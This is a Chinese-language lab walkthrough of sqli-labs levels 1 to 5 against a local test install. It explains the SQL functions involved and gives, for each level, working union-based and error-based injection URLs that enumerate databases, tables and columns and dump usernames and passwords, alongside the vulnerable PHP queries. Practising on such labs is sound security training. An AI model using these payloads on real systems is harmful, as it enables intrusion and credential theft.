sqli-lab是一个SQL注入练习平台,提供了GET和POST场景下各种注入类型的关卡,非常适用于小白入门学习
注:本人由于本机安装有SQL-Server,8080端口被占用,故改用8088端口
order by
功能: 对结果集进行排序
order by column1 [ASC|DESC], column2 [ASC|DESC],...
group_concat
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
注:separator是一个字符串值,缺省为一个逗号
concat_ws
功能:将多个字符串连接成一个字符串
concat_ws(separator, str1, str2, ...)
注:第一个参数为指定分隔符
#获取所有的数据库名
mysql>select group_concat(convert(schema_name using gbk)) from
information_schema.schemata;
#获取test数据库下的所有表名
mysql>select group_concat(convert(table_name using gbk)) from
information_schema.tables where table_schema='sqltest_sec';
#获取test数据库下的admin表下的所有列名
mysql>select group_concat(convert(column_name using gbk)) from
information_schema.columns where table_schema='cms' and table_name='cms_users';
#获取数据
mysql>select column from tables
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1' //报错
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正常
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回错误
可知该关卡为单引号字符型注入
通过1,2,3,4逐数测试得出字段数为3
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),database() --+
注:该步需要对id值赋假,用于回显查看下一步查询变量应置于哪里
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://127.0.0.1/sqli-labs/Less-2/?id=1
http://127.0.0.1/sqli-labs/Less-2/?id=1' --+//报错
http://127.0.0.1/sqli-labs/Less-2/?id=1' or 1=1 --+//报错
通过对id值的闭合,可知该关卡为数字型注入
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://127.0.0.1/sqli-labs/Less-2/?id=1
http://127.0.0.1/sqli-labs/Less-2/?id=1' --+ //报错
http://127.0.0.1/sqli-labs/Less-3/?id=1') --+ //闭合语句
通过闭合id值,可知该关卡为单引号变形字符型注入(单引号与括号)
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(username),group_concat(username)
from users--+
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://127.0.0.1/sqli-labs/Less-4/?id=1' --+//回显正常
http://127.0.0.1/sqli-labs/Less-4/?id=1') --+//回显正常
http://127.0.0.1/sqli-labs/Less-4/?id=1" --+//报错
http://127.0.0.1/sqli-labs/Less-4/?id=1") --+//闭合语句
通过闭合id值,该关卡为双引号变形字符型注入(双引号和括号)
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,group_concat(username),group_concat(username)
from users--+
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://127.0.0.1/sqli-labs/Less-5/?id=1
http://127.0.0.1/sqli-labs/Less-5/?id=1' --+//闭合单引号
通过闭合id值,该关卡为单引号字符型注入,但根据页面回显并不是前面关卡的单引号字符型注入类型,而是双查询注入的单引号字符型注入
http://127.0.0.1/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);